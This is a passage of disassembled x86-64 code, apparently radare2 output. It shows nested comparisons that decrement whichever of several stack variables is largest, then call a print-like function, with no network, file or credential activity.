mov dword [rbp + 0x2439c], 0x118
jmp 0x4029e7
mov eax, dword [rbp + 0x243a0]
cmp eax, dword [rbp + 0x2439c]
jle 0x402987
mov eax, dword [rbp + 0x243a0]
cmp eax, dword [rbp + 0x243a8]
jle 0x402967
mov eax, dword [rbp + 0x243a0]
cmp eax, dword [rbp + 0x243a4]
jle 0x40295e
sub dword [rbp + 0x243a0], 1
jmp 0x4029d3
sub dword [rbp + 0x243a4], 1
jmp 0x4029d3
mov eax, dword [rbp + 0x243a8]
cmp eax, dword [rbp + 0x243a4]
jle 0x40297e
sub dword [rbp + 0x243a8], 1
jmp 0x4029d3
sub dword [rbp + 0x243a4], 1
jmp 0x4029d3
mov eax, dword [rbp + 0x2439c]
cmp eax, dword [rbp + 0x243a8]
jle 0x4029b5
mov eax, dword [rbp + 0x2439c]
cmp eax, dword [rbp + 0x243a4]
jle 0x4029ac
sub dword [rbp + 0x2439c], 1
jmp 0x4029d3
sub dword [rbp + 0x243a4], 1
jmp 0x4029d3
mov eax, dword [rbp + 0x243a8]
cmp eax, dword [rbp + 0x243a4]
jle 0x4029cc
sub dword [rbp + 0x243a8], 1
jmp 0x4029d3
sub dword [rbp + 0x243a4], 1
mov eax, dword [rbp + 0x243a0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x243a0], 0
jg 0x40292b
mov dword [rbp + 0x24398], 0xd2
mov dword [rbp + 0x24394], 0x6e
mov dword [rbp + 0x24390], 0x1e0
mov dword [rbp + 0x2438c], 0x1ae
jmp 0x402add
mov eax, dword [rbp + 0x24390]
cmp eax, dword [rbp + 0x2438c]
jle 0x402a7d
cmp dword [rbp + 0x24390], 0
jg 0x402a21
mov dword [rbp + 0x24388], 0xd2
mov dword [rbp + 0x24384], 0x3c
mov dword [rbp + 0x24380], 0x104
mov dword [rbp + 0x2437c], 0x8c
jmp 0x402bd3